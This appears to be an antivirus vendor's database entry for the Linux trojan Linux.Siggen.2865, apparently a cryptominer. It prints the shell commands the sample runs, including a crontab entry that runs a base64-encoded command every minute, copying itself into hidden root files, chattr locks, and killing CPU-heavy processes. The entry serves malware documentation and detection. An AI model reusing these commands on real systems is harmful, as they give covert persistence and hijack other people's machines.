Linux.Siggen.2865

Linux.Siggen.2865

Added to the Dr.Web virus database: 2020-05-08

Virus description added: 2020-05-07

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Launches processes:

sh -c echo 'echo 128 > /proc/sys/vm/nr_hugepages;sysctl -w vm.nr_hugepages=128>/dev/null'|nohup sh >/dev/null 2>&1 &
nohup sh
sh
sysctl -w vm.nr_hugepages=128
sh -c echo \"echo '*/1 * * * * echo Y2QgL3Jvb3QvOy9yb290LzdiNWEwMjRjYWYzNmJiNWVlM2FmMDBjYzNkZWQxNWNlZGJhMGMyYjU=|base64 -d|sh'|crontab\"|nohup sh >/dev/null 2>&1 &
sh -c echo 'sleep 2;<SAMPLE_FULL_PATH>'|nohup sh >/dev/null 2>&1 &
sh -c echo 'chattr -ia /root/.Historys;rm -rf /root/.Historys;cp <SAMPLE_FULL_PATH> /root/.Historys;chmod 775 /root/.Historys;/root/.Historys <SAMPLE_FULL_PATH>;rm -f /root/.Historys;'|nohup sh >/dev/null 2>&1 &
crontab
sleep 2
chattr -ia /root/.Historys
rm -rf /root/.Historys
cp <SAMPLE_FULL_PATH> /root/.Historys
chmod 775 /root/.Historys
/root/.Historys <SAMPLE_FULL_PATH>
rm -f /root/.Historys
sh -c chmod 775 /root/.systemLog;/root/.systemLog;rm /root/.systemLog
chmod 775 /root/.systemLog
/root/.systemLog
<SAMPLE_FULL_PATH>
rm /root/.systemLog
sh -c ps aux |grep -v 9999999 | awk '{if($3>39.0) print $2}' | while read procid; do kill -9 $procid; done
ps aux
grep -v 9999999
awk {if($3>39.0) print $2}
sh -c echo 'chattr +ia <SAMPLE_FULL_PATH>;'|nohup sh >/dev/null 2>&1 &
chattr +ia <SAMPLE_FULL_PATH>

Kills the following processes:

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

DNS ASK:

Other:

Collects CPU information

Collects RAM information

Collects information about network activity